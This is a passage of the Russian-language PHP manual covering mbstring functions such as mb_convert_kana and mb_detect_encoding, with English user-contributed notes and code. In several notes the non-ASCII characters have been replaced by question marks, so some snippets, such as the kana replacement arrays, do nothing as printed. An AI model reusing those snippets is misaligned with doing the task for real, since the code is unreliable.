N | Преобразование "han-kaku" чисел в "zen-kaku"
a | Преобразование "zen-kaku" букв и чисел в "han-kaku"
A | Преобразование "han-kaku" букв и чисел в "zen-kaku" (Для настроек "a", "A" символы берутся из диапазона U+0021 - U+007E, исключая U+0022, U+0027, U+005C, U+007E)
s | Преобразование "zen-kaku" пробела в "han-kaku" (U+3000 -> U+0020)
S | Преобразование "han-kaku" пробела в "zen-kaku" (U+0020 -> U+3000)
k | Преобразование "zen-kaku kata-kana" в "han-kaku kata-kana"
K | Преобразование "han-kaku kata-kana" в "zen-kaku kata-kana"
h | Преобразование "zen-kaku hira-gana" в "han-kaku kata-kana"
H | Преобразование "han-kaku kata-kana" в "zen-kaku hira-gana"
c | Преобразование "zen-kaku kata-kana" в "zen-kaku hira-gana"
C | Преобразование "zen-kaku hira-gana" в "zen-kaku kata-kana"
V | Производит свёртку фонем и преобразует их в символ. Используется с "K","H"

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

Возвращаемые значения

Преобразованная строка (string).

Ошибки

Будет выброшено исключение ValueError, если комбинация заданных в параметре mode режимов недопустима. Например, "sS".

Список изменений

Версия | Описание
8.2.0 | Теперь выбрасывается исключение ValueError, если комбинация установленных в параметре mode режимов недопустима.
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования mb_convert_kana()

<?php
/* Преобразование всех символов "kana" в "zen-kaku" "kata-kana" */
$str = mb_convert_kana($str, "KVC");

/* Преобразование "han-kaku" "kata-kana" в "zen-kaku" "kata-kana"
и "zen-kaku" буквенно-цифровых символов в "han-kaku" */
$str = mb_convert_kana($str, "KVa");
?>

User Contributed Notes

jdavide222 at hotmail dot com 11-Mar-2013 04:02
to make this function work you have to add following two lines above this function.

mb_language("Ja");
mb_internal_encoding("utf-8");

mb_convert_kana($_POST['something_value'], "rna");
sohel62 at yahoo dot com 18-Feb-2008 09:17
I did that manually when I was not getting  expected result using mb_convert_kana().
<?php
 /*
 * @author Taslim Mazumder Sohel
 * @deprecated 1.0 - 2008/02/19
 *
 */
function han_kaku_to_jen_kaku($str){
        $replace_of = array('??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??',
                            '??','??','??','??','??','??');
        $replace_by = array('?','?','?','?',
                            '?','?','?','?',
                            '?','?','?','?',
                            '?','?','?','?',
                            '?','?','?','?',
                            '?','?','?','?','?','?');
        $_result = str_replace($replace_of, $replace_by, $str);

        $replace_of = array('?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?');
        $replace_by = array('?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','?','?','?',
                            '?','?','"','');
        $_result = str_replace($replace_of, $replace_by, $_result);
        return $_result;
    }
?>
d at safetypub dot org 01-Apr-2005 03:00
I didn't find Japanese sorting function.
(mb_sort_kana or something)
Only SJIS encoding treats hankaku kata kana,
 I can't post here copy & paste version script.
I'm sorry...
You will replace comments with appropriate japanese string,
and write exception handlings between lines as you like.

<?php
mb_internal_encoding("SJIS");

$moji = /*"aiueo...wawon -?.," <- serialized hankaku kata kana 50 on hyou goes here*/;
$moji .= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";

for($i = 0; isset($moji[$i]); $i++){
    $pittan[$moji[$i]] = $i;
}

function cmp($a, $b)
{
   if ($a == $b) {
       return 0;
   }
   return iter(mb_convert_kana($a, "askh") ,mb_convert_kana($b, "askh"), 0);
}

function iter($a, $b, $i){
    global $pittan;
    if(!isset($a[$i]) || !isset($b[$i])){
        return (isset($b[$i]))? -1 : 1;
    }
    if ($pittan[$a[$i]] == $pittan[$b[$i]]){
        return iter($a, $b, ++$i);
    }
    return (($pittan[$a[$i]]) < ($pittan[$b[$i]]))? -1 : 1;
}

echo "<pre>";
$arr = array(/*some japanese array here*/);
usort($arr, "cmp");
var_dump($arr);
?>
dn at littlealf dot net 23-Jul-2003 09:33
It seems that mb_convert_kana() doesn't convert symbols such as ' (single quoatation). It affected my program when I insert data into database.

So, I've found 2 ways to solve this.
1) Use Javascript to convert those non-supported symbols before sending query string to your php page.
2) Use php function, str_replace $str, to replace those non-supported symbols. For example, $str = str_replace("'", "?", $str);
where the first single quot is half-width(han kaku), and the second one is full-width(zen kaku).


Преобразует символы в переменной(-ых) из одной кодировки в другую

  • « mb_convert_kana
  • mb_decode_mimeheader »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Преобразует символы в переменной(-ых) из одной кодировки в другую

mb_convert_variables

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_variables — Преобразует символы в переменной(-ых) из одной кодировки в другую

Описание

mb_convert_variables(
string $to_encoding,
array|string $from_encoding,
mixed &$var,
mixed &...$vars
): string|false

Конвертирует символы в переменных var и vars из кодировки from_encoding в кодировку to_encoding.

mb_convert_variables() объединяет строки из массива или объекта для определения их кодировки, так как в случае коротких строк определить кодировку зачастую не удаётся. Вследствие этого, недопустимо помещать в один массив или объект строки в разных кодировках.

Список параметров

to_encoding

Кодировка, в которую необходимо перекодировать строку (string).

from_encoding

from_encoding задаётся в виде массива (array) или строки (string) с разделёнными запятой кодировками. Функция попытается определить кодировку исходной строки на основе списка возможных кодировок в аргументе from-coding. Если from_encoding опущен, используется detect_order.

var

var - ссылка на переменную, содержимое которой необходимо преобразовать. Это может быть строка, массив или объект. mb_convert_variables() принимает, что все эти аргументы имеют одинаковую кодировку.

vars

Дополнительные var.

Возвращаемые значения

Исходная кодировка в случае успешного выполнения или false в случае неудачи.

Примеры

Пример #1 Пример использования mb_convert_variables()

<?php
/* Преобразование переменных $post1, $post2 во внутреннюю кодировку скрипта */
$interenc = mb_internal_encoding();
$inputenc = mb_convert_variables($interenc, "ASCII,UTF-8,SJIS-win", $post1, $post2);
?>

User Contributed Notes

There are no user contributed notes for this page.


Декодирует строку в MIME-заголовке

  • « mb_convert_variables
  • mb_decode_numericentity »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Декодирует строку в MIME-заголовке

mb_decode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_mimeheader — Декодирует строку в MIME-заголовке

Описание

mb_decode_mimeheader(string $string): string

Декодирует закодированную строку (string) string в MIME-заголовке.

Список параметров

string

Строка (string) для декодирования.

Возвращаемые значения

Декодированная строка (string) во внутренней кодировке скрипта.

Смотрите также

  • mb_encode_mimeheader() - Кодирует строку для MIME-заголовка

User Contributed Notes

hgs at cs dot columbia dot edu 30-Jun-2021 06:21
In Q encoding mode, RFC 2047 encodes spaces as _ (Section 4.2).

mb_decode_mimeheader()

does not appear to do this. Thus, to avoid names or subjects with underscores, one needs to apply strtr() or similar function to the input string.

On the other hand, lower-case strings do now work correctly.
Brett 27-Feb-2012 03:35
See also the following functions which may work better in some cases:
iconv_mime_decode() - http://php.net/manual/function.iconv-mime-decode.php
imap_utf8() - http://php.net/manual/function.imap-utf8.php
tomlove at gmail dot com 09-Mar-2010 10:03
This function ignores any encoded-word specified in a character set not supported by the mbstring extension (e.g. Arabic windows-1256). Such encoded-words pass straight through.

RFC2047 doesn't specify the behaviour, but common agents such as Gmail, Windows Mail, etc. DO NOT ignore such encoded words. They are decoded as if they were declared to be in the local character set.

Be aware of this idiosyncrasy.
Frogger2000 at gmx dot de 29-May-2002 01:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=


Декодирует ссылку на числовую строку HTML в символ

  • « mb_decode_mimeheader
  • mb_detect_encoding »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Декодирует ссылку на числовую строку HTML в символ

mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_numericentity — Декодирует ссылку на числовую строку HTML в символ

Описание

mb_decode_numericentity(string $string, array $map, ?string $encoding = null): string

Преобразует строку чисел string (string) в заданном блоке в символ.

Список параметров

string

Строка (string) для декодирования.

map

map - массив (array), который задаёт диапазон кодов символов.

encoding

Параметр encoding представляет собой символьную кодировку. Если он опущен или равен null, вместо него будет использовано значение внутренней кодировки.

is_hex

Параметр не используется.

Возвращаемые значения

Преобразованная строка (string).

Список изменений

Версия | Описание
8.0.0 | Теперь параметр encoding может принимать значение null.

Примеры

Пример #1 Пример использования map

<?php
$convmap = array (
int start_code1, int end_code1, int offset1, int mask1,
int start_code2, int end_code2, int offset2, int mask2,
........
int start_codeN, int end_codeN, int offsetN, int maskN );
// Задайте значения Юникода для start_codeN и end_codeN
// Добавьте к значению offsetN и сложите побитово с maskN,
// затем преобразуйте результат в число.
?>

Пример #2 Пример экранирования строки JavaScript с помощью map

<?php
function escape_javascript_string($str) {
$map = [
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,0,0, // 49
0,0,0,0,0,0,0,0,1,1,
1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,1,1,1,1,1,1,0,0,0, // 99
0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 149
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 199
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 249
1,1,1,1,1,1,1, // 255
];
// Кодировка символа UTF-8
$mblen = mb_strlen($str, 'UTF-8');
$utf32 = bin2hex(mb_convert_encoding($str, 'UTF-32', 'UTF-8'));
for ($i=0, $encoded=''; $i < $mblen; $i++) {
$u = substr($utf32, $i*8, 8);
$v = base_convert($u, 16, 10);
if ($v < 256 && $map[$v]) {
$encoded .= '\\x'.substr($u, 6,2);
} else if ($v == 2028) {
$encoded .= '\\u2028';
} else if ($v == 2029) {
$encoded .= '\\u2029';
} else {
$encoded .= mb_convert_encoding(hex2bin($u), 'UTF-8', 'UTF-32');
}
}
return $encoded;
}

// Данные для теста
$convmap = [ 0x0, 0xffff, 0, 0xffff ];
$msg = '';
for ($i=0; $i < 1000; $i++) {
// chr() не может сгенерировать корректный символ UTF-8 больший, чем 128. Используем mb_decode_numericentity().
$msg .= mb_decode_numericentity('&#'.$i.';', $convmap, 'UTF-8');
}

// var_dump($msg);
var_dump(escape_javascript_string($msg));

Смотрите также

  • mb_encode_numericentity() - Кодирует символ в числовую HTML-ссылку

User Contributed Notes

abderrahmanekaddour dot aissat at gmail dot com 29-Aug-2022 11:41
<?php

// the following documentation depending on understanding of the code source of php mbr
// first in order to optimise the work of php
// the string must contain "&" or else php won't bother trying to decode.
// for the map : int start_codeN, int end_codeN, int offsetN, int maskN
// the entity must be in the range [start_codeN, end_codeN] , if the entity is greater or less
// mb_decode_numericentity will ignore the decode process and return the $string as it is.
// in the late version of php, $map : "must have a multiple of 4 elements"

$map = [ 0x0, 0xFFFF, 0, 0];
echo mb_decode_numericentity('&#109;', $map ); // result "m"
// if offsetN = 1 result "l" ; the more you increase the decimal the more it use OR operrand.
$map_2 = [ 0x0, 0xFFFF, 60, 0];
echo mb_decode_numericentity('&#109;', $map_2 ); // decode ( &#49; ) result : "1"

// entity Reference to check the result : https://cs.stanford.edu/people/miles/iso8859.html#ISO

?>
fernandosilveira at yahoo dot com dot br 05-Jun-2020 12:49
Be careful!
In addition to translate numeric entities to chars on specified target encoding, this function encodes every character from input string to the specified target encodin, even if the characters are outside the range defined by the conversion map.
donovan at conduit it 19-Apr-2006 09:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dev at glossword info 19-Nov-2003 07:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric(' ? ? ');


Определение кодировки символов

  • « mb_decode_numericentity
  • mb_detect_order »
  • PHP Manual
  • Функции для работы с многобайтовыми строками
  • Определение кодировки символов

mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_encoding — Определение кодировки символов

Описание

mb_detect_encoding(string $string, array|string|null $encodings = null, bool $strict = false): string|false

Определяет наиболее вероятную кодировку символов для строки (string) string из упорядоченного списка кандидатов.

Автоматическое определение предполагаемой кодировки символов не может быть полностью надёжным; без дополнительной информации это похоже на расшифровку зашифрованной строки без ключа. Всегда предпочтительно использовать индикацию кодировки символов, хранящуюся или передаваемую с данными, такую как HTTP-заголовок "Content-Type".

Функция наиболее полезна с многобайтовыми кодировками, когда не все последовательности байтов образуют допустимую строку. Если входная строка содержит такую последовательность, эта кодировка будет отклонена, и будет проверена следующая кодировка.

Список параметров

string

Проверяемая строка (string).

encodings

Упорядоченный список кодировок символов. Список может быть указан как массив строк или как строка кодировок, разделённых запятыми.

Если encodings не задан или является null, будет использоваться текущий detect_order (установленный с помощью параметра конфигурации mbstring.detect_order или функции mb_detect_order()).

strict

Управляет поведением, когда string недопустима ни в одной из перечисленных encodings. Если для strict установлено значение false, будет возвращена наиболее подходящая кодировка; если для strict установлено значение true, будет возвращено false.

Значение по умолчанию для strict можно установить с помощью параметра конфигурации mbstring.strict_detection.

Возвращаемые значения

Название кодировки символов или false, если строка недопустима ни в одной из перечисленных кодировок.

Примеры

Пример #1 Пример использования mb_detect_encoding()

<?php
// Определение кодировки с текущим detect_order
echo mb_detect_encoding($str);

// "auto" раскрывается в соответствии с mbstring.language
echo mb_detect_encoding($str, "auto");

// Зададим список кодировок "encodings" в виде строки
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

// Использование массива для задания возможных кодировок "encodings"
$encodings = [
"ASCII",
"JIS",
"EUC-JP"
];
echo mb_detect_encoding($str, $encodings);
?>

Пример #2 Действие параметра strict

<?php
// 'aeou' закодирована в ISO-8859-1
$str = "\xE1\xE9\xF3\xFA";

// Строка недействительна в ASCII или UTF-8, но UTF-8 считается более близким соответствием
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8'], false));
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8'], true));

// Если допустимая кодировка найдена, параметр strict не меняет результат
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8', 'ISO-8859-1'], false));
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8', 'ISO-8859-1'], true));
?>

Результат выполнения данного примера:

string(5) "UTF-8"
bool(false)
string(10) "ISO-8859-1"
string(10) "ISO-8859-1"

В некоторых случаях одна и та же последовательность байтов может образовывать допустимую строку в нескольких кодировках символов, и невозможно узнать, какая интерпретация предназначалась. Например, среди многих других байтовая последовательность "\xC4\xA2" может быть:

  • "A?" (U+00C4 LATIN CAPITAL LETTER A WITH DIAERESIS с последующим U+00A2 CENT SIGN) закодирована в ISO-8859-1, ISO-8859-15 или Windows-1252
  • "ФЂ" (U+0424 CYRILLIC CAPITAL LETTER EF с последующим U+0402 CYRILLIC CAPITAL LETTER DJE) закодирована в ISO-8859-5
  • "G" (U+0122 LATIN CAPITAL LETTER G WITH CEDILLA) закодирована в UTF-8

Пример #3 Использование порядка при совпадении нескольких кодировок

<?php
$str = "\xC4\xA2";

// Строка действительна во всех трех кодировках, поэтому будет возвращена первая из перечисленных кодировок.
var_dump(mb_detect_encoding($str, ['UTF-8', 'ISO-8859-1', 'ISO-8859-5']));
var_dump(mb_detect_encoding($str, ['ISO-8859-1', 'ISO-8859-5', 'UTF-8']));
var_dump(mb_detect_encoding($str, ['ISO-8859-5', 'UTF-8', 'ISO-8859-1']));
?>

Результат выполнения данного примера:

string(5) "UTF-8"
string(10) "ISO-8859-1"
string(10) "ISO-8859-5"

Смотрите также

  • mb_detect_order() - Установка/получение списка кодировок для механизмов определения кодировки

User Contributed Notes

geompse at gmail dot com 08-Nov-2022 10:35
Major undocumented breaking change since 8.1.7
https://3v4l.org/BLjZ3

Make sure to replace mb_detect_encoding with a loop of calls to mb_check_encoding
mta59066 at gmail dot com 19-Sep-2022 07:47
The documentation is no longer correct for php8.1 and mb_detect_encoding no longer supports order of encodings. The example outputs given in the documentation are also no longer correct for php8.1. This is somewhat explained here https://github.com/php/php-src/issues/8279

I understand the previous ambiguity in these functions, but in my option 8.1 should have deprecated mb_detect_encoding and mb_detect_order and came up with different functions. It now tries to find the encoding that will use the least amount of space regardless of the order, and I am not sure who needs that.

Below is an example function that will do what mb_detect_encoding was doing prior to the 8.1 change.

<?php

function mb_detect_enconding_in_order(string $string, array $encodings): string|false
{
    foreach($encodings as $enc) {
        if (mb_check_encoding($string, $enc)) {
            return $enc;
        }
    }
    return false;
}

?>
d_maksimov 04-Apr-2022 01:48
It was helpful for my exec(...) call. When it returned cp866 or cp1251:

try {
    $line = iconv('CP866', 'CP1251', $line);
} catch(Exception $e) {
}
return iconv('CP1251', 'UTF-8', $line);
recentUser at example dot com 28-Mar-2018 07:17
In my environment (PHP 7.1.12),
"mb_detect_encoding()" doesn't work
     where "mb_detect_order()" is not set appropriately.

To enable "mb_detect_encoding()" to work in such a case,
     simply put "mb_detect_order('...')"
     before "mb_detect_encoding()" in your script file.

Both
     "ini_set('mbstring.language', '...');"
     and
     "ini_set('mbstring.detect_order', '...');"
DON'T work in script files for this purpose
whereas setting them in PHP.INI file may work.
lotushzy at gmail dot com 04-Jan-2018 12:18
About function mb_detect_encoding, the link http://php.net/manual/zh/function.mb-detect-encoding.php , like this:
mb_detect_encoding('aeou', 'UTF-8', true); // false
but now the result is not false, can you give me reason, thanks!
garbage at iglou dot eu 30-Mar-2017 01:11
For detect UTF-8, you can use:

if (preg_match('!!u', $str)) { echo 'utf-8'; }

- Norihiori
lexonight at yahoo dot com 06-Nov-2016 12:54
<?php
$file = file_get_contents("somefile.txt");
$encodings = implode(',', mb_list_encodings());
echo mb_detect_encoding($file, $encodings, true);
?>
seems to work
emoebel at web dot de 25-Dec-2013 09:29
if the  function " mb_detect_encoding" does not exist  ...

... try:

<?php
// ----------------------------------------------------
if ( !function_exists('mb_detect_encoding') ) {

// ----------------------------------------------------------------
function mb_detect_encoding ($string, $enc=null, $ret=null) {

        static $enclist = array(
            'UTF-8', 'ASCII',
            'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5',
            'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-10',
            'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
            'Windows-1251', 'Windows-1252', 'Windows-1254',
            );

        $result = false;

        foreach ($enclist as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) {
                if ($ret === NULL) { $result = $item; } else { $result = true; }
                break;
            }
        }

    return $result;
}
// ----------------------------------------------------------------

}
// ----------------------------------------------------
?>

example / usage of: mb_detect_encoding()

<?php
// ------------------------------------------------------
function str_to_utf8 ($str) {

    if (mb_detect_encoding($str, 'UTF-8', true) === false) {
    $str = utf8_encode($str);
    }

    return $str;
}
// ------------------------------------------------------
?>

$txtstr = str_to_utf8($txtstr);
Anonymous 08-Oct-2013 09:17
// -----------------------------------------------------------

if(!function_exists('mb_detect_encoding')) {

function mb_detect_encoding($string, $enc=null, $ret=true) {
    $out=$enc;
    static $list = array('utf-8', 'iso-8859-1', 'iso-8859-15', 'windows-1251');
        foreach ($list as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) { $out = ($ret !== false) ? true : $item; }
        }
    return $out;
}

}

// -----------------------------------------------------------
eyecatchup at gmail dot com 11-Jun-2013 10:41
Just a note: Instead of using the often recommended (rather complex) regular expression by W3C (http://www.w3.org/International/questions/qa-forms-utf-8.en.php), you can simply use the 'u' modifier to test a string for UTF-8 validity:

<?php
  if (preg_match("//u", $string)) {
      // $string is valid UTF-8
  }
bmrkbyet at web dot de 24-Mar-2013 02:04
a) if the FUNCTION mb_detect_encoding is not available:

### mb_detect_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_detect_encoding')) {
function mb_detect_encoding($string, $enc=null) {

    static $list = array('utf-8', 'iso-8859-1', 'windows-1251');

    foreach ($list as $item) {
        $sample = iconv($item, $item, $string);
        if (md5($sample) == md5($string)) {
            if ($enc == $item) { return true; }    else { return $item; }
        }
    }
    return null;
}
}

// -------------------------------------------
?>

b) if the FUNCTION mb_convert_encoding is not available:

### mb_convert_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($string, $target_encoding, $source_encoding) {
    $string = iconv($source_encoding, $target_encoding, $string);
    return $string;
}
}

// -------------------------------------------
?>
Gerg Tisza 18-Feb-2011 03:43
If you try to use mb_detect_encoding to detect whether a string is valid UTF-8, use the strict mode, it is pretty worthless otherwise.

<?php
    $str = 'aeou'; // ISO-8859-1
    mb_detect_encoding($str, 'UTF-8'); // 'UTF-8'
    mb_detect_encoding($str, 'UTF-8', true); // false
?>
nat3738 at gmail dot com 22-May-2009 03:58
A simple way to detect UTF-8/16/32 of file by its BOM (not work with string or file without BOM)

<?php
// Unicode BOM is U+FEFF, but after encoded, it will look like this.
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($filename) {

    $text = file_get_contents($filename);
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);

    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}
?>
prgss at bk dot ru 30-Mar-2009 02:16
Another light way to detect character encoding:
<?php
function detect_encoding($string) {
  static $list = array('utf-8', 'windows-1251');

  foreach ($list as $item) {
    $sample = iconv($item, $item, $string);
    if (md5($sample) == md5($string))
      return $item;
  }
  return null;
}
?>
matthijs at ischen dot nl 28-Mar-2009 10:33
I seriously underestimated the importance of setlocale...
<?php
$strings = array(
    "mais coisas a pensar sobre diario ou dois!",
    "plus de choses a penser a journalier ou a deux !",
    "?mas cosas a pensar en diario o dos!",
    "piu cose da pensare circa giornaliere o due!",
    "flere ting a tenke pa hver dag eller to!",
    "Dalsi veci, premyslet o kazdy den nebo dva!",
    "mehr uber Spa? spat schonen",
    "me vone gjate fun bukur",
    "tobb mint szorakozas keso csodalatos kenyer"
);

$convert = array();
setlocale(LC_CTYPE, 'de_DE.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

Produces the following:

Array
(
    [0] => mais coisas a pensar sobre diario ou dois!
    [1] => plus de choses a penser a journalier ou a deux !
    [2] => ?mas cosas a pensar en diario o dos!
    [3] => piu cose da pensare circa giornaliere o due!
    [4] => flere ting aa tenke paa hver dag eller to!
    [5] => Dalsi veci, premyslet o kazdy den nebo dva!
    [6] => mehr ueber Spass spaet schoenen
    [7] => me vone gjate fun bukur
    [8] => toebb mint szorakozas keso csodalatos kenyer
)

whereas

<?php
$convert = array();
setlocale(LC_CTYPE, 'nl_NL.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

produces:
Array
(
    [0] => mais coisas a pensar sobre di?rio ou dois!
    [1] => plus de choses ? penser ? journalier ou ? deux !
    [2] => ?m?s cosas a pensar en diario o dos!
    [3] => pi? cose da pensare circa giornaliere o due!
    [4] => flere ting ? tenke p? hver dag eller to!
    [5] => Dal?? v?c?, p?em??let o ka?d? den nebo dva!
    [6] => mehr ?ber Spass sp?t sch?nen
    [7] => m? von? gjat? fun bukur
    [8] => t?bb mint sz?rakoz?s k?s? csod?latos keny?r
)

This might be of interest when trying to convert utf-8 strings into ASCII suitable for URL's, and such. this was never obvious for me since I've used locales for us and nl.
dennis at nikolaenko dot ru 06-Oct-2008 09:18
Beware of bug to detect Russian encodings
http://bugs.php.net/bug.php?id=38138
hmdker at gmail dot com 23-Aug-2008 09:58
Function to detect UTF-8, when mb_detect_encoding is not available it may be useful.

<?php
function is_utf8($str) {
    $c=0; $b=0;
    $bits=0;
    $len=strlen($str);
    for($i=0; $i<$len; $i++){
        $c=ord($str[$i]);
        if($c > 128){
            if(($c >= 254)) return false;
            elseif($c >= 252) $bits=6;
            elseif($c >= 248) $bits=5;
            elseif($c >= 240) $bits=4;
            elseif($c >= 224) $bits=3;
            elseif($c >= 192) $bits=2;
            else return false;
            if(($i+$bits) > $len) return false;
            while($bits > 1){
                $i++;
                $b=ord($str[$i]);
                if($b < 128 || $b > 191) return false;
                $bits--;
            }
        }
    }
    return true;
}
?>
yaqy at qq dot com 20-Jul-2008 10:14
<?php
/*
*QQ: 290359552
* conver to Utf8 if $str is not equals to 'UTF-8'
*/
function convToUtf8($str)
{
if( mb_detect_encoding($str,"UTF-8, ISO-8859-1, GBK")!="UTF-8" )
{

return  iconv("gbk","utf-8",$str);

}
else
{
return $str;
}

}
?>
rl at itfigures dot nl 04-Sep-2007 02:00
I used Chris's function "detectUTF8" to detect the need from conversion from utf8 to 8859-1, which works fine. I did have a problem with the following iconv-conversion.

The problem is that the iconv-conversion to 8859-1 (with //TRANSLIT) replaces the euro-sign with EUR, although it is common practice  that \x80 is used as the euro-sign in the 8859-1 charset.

I could not use 8859-15 since that mangled some other characters, so I added 2 str_replace's:

if(detectUTF8($str)){
  $str=str_replace("\xE2\x82\xAC","&euro;",$str);
  $str=iconv("UTF-8","ISO-8859-1//TRANSLIT",$str);
  $str=str_replace("&euro;","\x80",$str);
}

If html-output is needed the last line is not necessary (and even unwanted).
sunggsun 15-Aug-2006 12:26
from PHPDIG

    function isUTF8($str) {
        if ($str === mb_convert_encoding(mb_convert_encoding($str, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) {
            return true;
        } else {
            return false;
        }
    }
chris AT w3style.co DOT uk 03-Aug-2006 02:22
Based upon that snippet below using preg_match() I needed something faster and less specific.  That function works and is brilliant but it scans the entire strings and checks that it conforms to UTF-8.  I wanted something purely to check if a string contains UTF-8 characters so that I could switch character encoding from iso-8859-1 to utf-8.

I modified the pattern to only look for non-ascii multibyte sequences in the UTF-8 range and also to stop once it finds at least one multibytes string.  This is quite a lot faster.

<?php

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

?>
telemach 27-Jul-2005 06:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentu?e' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu?' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '?' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu 29-Mar-2005 07:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com 17-Feb-2005 07:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

